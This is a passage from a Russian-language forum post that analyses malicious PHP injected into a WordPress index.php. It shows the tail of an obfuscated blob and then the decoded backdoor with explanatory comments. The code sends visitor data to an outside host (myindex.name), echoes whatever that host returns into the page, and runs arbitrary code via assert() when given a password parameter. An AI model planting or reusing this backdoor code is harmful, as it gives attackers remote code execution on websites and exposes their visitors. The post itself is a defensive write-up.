HmZFtmBPxcXGg9nJLbnKAmMKDbWS9FEISIEIAHJ184ZQR2AwL1ZmRbZmxcKFxzWvNxK1WSHIISH1EoKmt
jZGL2AwHmZFt0ZPyqCG0tKmtjZGL2AwHmZFt0ZFxcr0NxE0kCDxSZH1faKmZ4BQR3AQp2A18aKIfkBS0b
WS9FEISIEIAHJ184ZQR2AwL1ZmRbAQVcKFx7sFN="));'));

##### В итоге раскодировано: #####

#Проверяет наличие непустой куки client_check
if (!empty($_COOKIE['client_check' ])) 
	die($_COOKIE['client_check' ]);

#Узнает твою кодировку
$icb2d_1 = preg_match('!.!u' , file_get_contents($_SERVER['SCRIPT_FILENAME' ])) ? 'UTF-8' : 'windows-1251';

#Отправляются данные о твоем браузере, IP. Обрабатываются или нет тем сайтом - не знаю.
if (function_exists('curl_init'))
{
	$icb2d_2 = curl_init('http://myindex.name/get.php?d=' . urlencode($_SERVER['SERVER_NAME' ] . $_SERVER['REQUEST_URI' ]) . '&u=' . urlencode($_SERVER['HTTP_USER_AGENT' ]) . '&c=' . $icb2d_1 . '&i=1&ip=' . $_SERVER['REMOTE_ADDR' ] . '&h=' . md5('4516b747a778db6e1c744aa7af73a355' . $_SERVER['SERVER_NAME' ] . $_SERVER['REQUEST_URI' ] . $_SERVER['HTTP_USER_AGENT' ] . $icb2d_1 . '1'));
	curl_setopt($icb2d_2, 42 , false);
	curl_setopt($icb2d_2, 19913 , true);
	echo curl_exec($icb2d_2);
	curl_close($icb2d_2);
} else if ( ini_get('allow_url_fopen') ) 
	echo file_get_contents('http://myindex.name/get.php?d=' . urlencode($_SERVER['SERVER_NAME' ] . $_SERVER['REQUEST_URI' ]) . '&u=' . urlencode($_SERVER['HTTP_USER_AGENT' ]) . '&c=' . $icb2d_1 . '&i=1&ip=' . $_SERVER['REMOTE_ADDR' ] . '&h=' . md5('4516b747a778db6e1c744aa7af73a355' . $_SERVER['SERVER_NAME' ] . $_SERVER['REQUEST_URI' ] . $_SERVER['HTTP_USER_AGENT' ] . $icb2d_1 . '1'));


#Вредоносная часть кода, при помощи нее можно исполнить любой php код на твоём сервере
if (isset($_REQUEST['p' ]) && $_REQUEST['p' ] == '82ed357a')
	@assert($_REQUEST['c' ]);

//###==###

/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );



Прикрепленные файлы:
Прикрепленный файл  index.php ( 7,48 килобайт ) Кол-во скачиваний: 24
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
Поблагодарили 2 раз
   + Цитировать сообщение
« Предыдущая тема · Флейм · Следующая тема »
 
  Ответить в данную темуНачать новую тему
 
0 пользователей и 1 гостей читают эту тему:
Режим отображения: Стандартный · Переключить на: Линейный · Переключить на: Древовидный
Сообщить другу · Версия для печати

Powered By Invision Power Board  © 2005-2026 
Counter Strike Support Community